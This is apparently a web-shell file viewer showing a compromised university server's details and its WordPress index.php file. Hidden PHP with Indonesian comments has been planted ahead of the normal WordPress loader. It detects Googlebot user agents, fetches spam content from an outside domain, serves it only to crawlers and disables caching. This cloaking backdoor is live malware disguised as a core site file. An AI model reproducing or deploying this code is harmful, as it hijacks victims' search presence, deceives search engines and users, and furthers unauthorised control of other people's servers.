| Server IP : 195.130.67.5 / Your IP : 216.73.216.231 Web Server : Microsoft-IIS/10.0 System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586 User : IUSR ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/inetpub/wwwroot/aecm.ihu.gr/ |
Upload File : |
<?php
function is_google_bot() {
$agents = [
'Googlebot',
'AdsBot-Google',
'Mediapartners-Google',
'Google-Site-Verification',
'Google-InspectionTool',
'Googlebot-Mobile',
'Googlebot-News',
'Googlebot-Image',
'Googlebot-Video',
'Googlebot-Desktop',
'Googlebot-ReadAloud',
'Storebot-Google',
'Google-Read-Aloud'
];
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
foreach ($agents as $agent) {
if (stripos($user_agent, $agent) !== false) {
return true;
}
}
return false;
}
// ** Penting: Cegah cache oleh Litespeed, Varnish, atau proxy lainnya **
header("Cache-Control: no-cache, no-store, must-revalidate, private");
header("Pragma: no-cache");
header("Expires: 0");
header("X-Accel-Expires: 0"); // untuk Nginx
header("X-LiteSpeed-Cache-Control: no-cache"); // khusus Litespeed
if (is_google_bot()) {
$url = "https://caraxes-amp.site/aecm-ihu-gr.txt";
$content = '';
// Gunakan cURL untuk lebih handal dan bisa menyamar sebagai bot asli
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'], // samakan dengan user agent pengunjung
CURLOPT_TIMEOUT => 10,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_HTTPHEADER => [
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language: en-US,en;q=0.5',
'Accept-Encoding: gzip, deflate, br',
'Connection: keep-alive',
'Upgrade-Insecure-Requests: 1'
],
CURLOPT_ENCODING => '', // biarkan curl menangani encoding
]);
$content = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
}
// Fallback jika cURL gagal
if (empty($content) || $httpCode !== 200) {
$content = @file_get_contents($url);
}
if (!empty($content)) {
echo $content;
exit;
}
}
// Jika bukan Googlebot atau konten gagal diambil, lanjutkan ke halaman normal
?><?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';